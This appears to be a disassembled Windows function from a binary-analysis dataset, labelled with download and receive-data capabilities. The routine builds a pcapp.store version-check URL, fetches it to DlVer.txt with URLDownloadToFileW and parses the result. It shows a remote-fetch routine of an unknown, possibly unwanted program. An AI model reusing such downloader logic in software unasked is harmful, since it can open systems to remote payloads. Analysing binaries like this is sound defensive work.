Function at 0x40d920
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44e45f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1b4
lea ecx, [ebp - 0x1c]
call fcn.00402bb0
mov dword [ebp - 4], 0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x64], esp
push 0x4510d0
call fcn.00402f80
lea eax, [ebp - 0x18]
push eax
call fcn.00407800
add esp, 0x1c
mov dword [ebp - 0x68], eax
mov byte [ebp - 4], 1
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x6c], esp
push str.https:__pcapp.store_fa_version.php_guid_wsreslinknocache_d
call fcn.00402f80
lea ecx, [ebp - 0x24]
push ecx
call fcn.00407800
add esp, 0x1c
mov dword [ebp - 0x70], eax
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x461a90
push ecx
mov ecx, esp
mov dword [ebp - 0x74], esp
lea edx, [ebp - 0x24]
push edx
call fcn.00409260
lea eax, [ebp - 0x3c]
push eax
call fcn.004075a0
add esp, 8
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x38], ecx
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x38]
call fcn.00404cc0
push eax
lea edx, [ebp - 0x1c]
push edx
call fcn.0040aeb0
add esp, 0x10
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x3c]
call fcn.004037d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x78], esp
push str.DlVer.txt
call fcn.00402f80
lea eax, [ebp - 0x20]
push eax
call fcn.00407800
add esp, 0x1c
mov dword [ebp - 0x7c], eax
mov byte [ebp - 4], 4
push ecx
mov ecx, esp
mov dword [ebp - 0x80], esp
lea edx, [ebp - 0x20]
push edx
call fcn.00409260
lea eax, [ebp - 0x48]
push eax
call fcn.004075a0
add esp, 8
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x44], ecx
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x44]
push edx
push 0x461cb4
lea eax, [ebp - 0x14]
push eax
call fcn.0040a350
add esp, 0xc
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x48]
call fcn.004037d0
push 0
push 0
lea ecx, [ebp - 0x14]
call fcn.00404cc0
push eax
lea ecx, [ebp - 0x1c]
call fcn.00404cc0
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileW
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
je 0x40db93
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x84], esp
push str.link_dl_error
call fcn.00402f80
lea ecx, [ebp - 0x2c]
push ecx
call fcn.00407800
add esp, 0x1c
mov dword [ebp - 0x88], eax
mov byte [ebp - 4], 8
push ecx
mov ecx, esp
mov dword [ebp - 0x8c], esp
push 0x450997
call fcn.00402ad0
mov dword [ebp - 0x90], eax
mov byte [ebp - 4], 9
push ecx
mov edx, esp
mov dword [ebp - 0x94], esp
mov dword [ebp - 0x50], edx
push ecx
mov ecx, esp
mov dword [ebp - 0x98], esp
lea eax, [ebp - 0x2c]
push eax
call fcn.00409260
mov ecx, dword [ebp - 0x50]
push ecx
call fcn.004075a0
add esp, 8
mov dword [ebp - 0x9c], eax
mov byte [ebp - 4], 0xa
push ecx
mov edx, esp
mov dword [ebp - 0xa0], esp
mov dword [ebp - 0x54], edx
push ecx
mov ecx, esp
mov dword [ebp - 0xa4], esp
lea eax, [ebp - 0x18]
push eax
call fcn.00409260
mov ecx, dword [ebp - 0x54]
push ecx
call fcn.004075a0
add esp, 8
mov dword [ebp - 0xa8], eax
mov byte [ebp - 4], 8
call fcn.0040f6a0
add esp, 0xc
mov byte [ebp - 0xd], 0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x2c]
call fcn.004037d0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x14]
call fcn.004037d0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x20]
call fcn.004037d0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x24]
call fcn.004037d0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x18]
call fcn.004037d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.004037d0
mov al, byte [ebp - 0xd]
jmp 0x40ddeb
push 1
push 0x40
push 1
lea ecx, [ebp - 0x14]
call fcn.00404cc0
push eax
lea ecx, [ebp - 0x1c0]
call fcn.00409370
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xf0]
call fcn.00402e70
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1c0]
call fcn.0040e800
movzx edx, al
test edx, edx
je 0x40dbf3
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0x1c0]
push ecx
call fcn.00408fe0
add esp, 8
lea ecx, [ebp - 0x1c0]
call fcn.0040cae0
lea ecx, [ebp - 0x25]
call fcn.00402d20
push eax
lea edx, [ebp - 0xac]
push edx
lea ecx, [ebp - 0xf0]
call fcn.00407470
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0xb0]
push ecx
lea ecx, [ebp - 0xf0]
call fcn.00406a60
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0x108]
call fcn.004085e0
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
push eax
mov ecx, dword [ebp + 8]
call fcn.0040a1b0
lea ecx, [ebp - 0x108]
call fcn.004038a0
mov ecx, dword [ebp + 8]
call fcn.0040d5a0
movzx ecx, al
test ecx, ecx
jne 0x40dcc3
mov byte [ebp - 0xe], 1
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xf0]
call fcn.00403880
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x1c0]
call fcn.0040a4f0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x14]
call fcn.004037d0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x20]
call fcn.004037d0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x24]
call fcn.004037d0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x18]
call fcn.004037d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.004037d0
mov al, byte [ebp - 0xe]
jmp 0x40ddeb
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xb4], esp
push str.empty_link
call fcn.00402f80
lea edx, [ebp - 0x30]
push edx
call fcn.00407800
add esp, 0x1c
mov dword [ebp - 0xb8], eax
mov byte [ebp - 4], 0xd
push ecx
mov ecx, esp
mov dword [ebp - 0xbc], esp
push 0x4509de
call fcn.00402ad0
mov dword [ebp - 0xc0], eax
mov byte [ebp - 4], 0xe
push ecx
mov eax, esp
mov dword [ebp - 0xc4], esp
mov dword [ebp - 0x5c], eax
push ecx
mov ecx, esp
mov dword [ebp - 0xc8], esp
lea edx, [ebp - 0x30]
push edx
call fcn.00409260
mov eax, dword [ebp - 0x5c]
push eax
call fcn.004075a0
add esp, 8
mov dword [ebp - 0xcc], eax
mov byte [ebp - 4], 0xf
push ecx
mov ecx, esp
mov dword [ebp - 0xd0], esp
mov dword [ebp - 0x60], ecx
push ecx
mov ecx, esp
mov dword [ebp - 0xd4], esp
lea edx, [ebp - 0x18]
push edx
call fcn.00409260
mov eax, dword [ebp - 0x60]
push eax
call fcn.004075a0
add esp, 8
mov dword [ebp - 0xd8], eax
mov byte [ebp - 4], 0xd
call fcn.0040f6a0
add esp, 0xc
mov byte [ebp - 0xf], 0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x30]
call fcn.004037d0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xf0]
call fcn.00403880
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x1c0]
call fcn.0040a4f0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x14]
call fcn.004037d0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x20]
call fcn.004037d0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x24]
call fcn.004037d0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x18]
call fcn.004037d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.004037d0
mov al, byte [ebp - 0xf]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret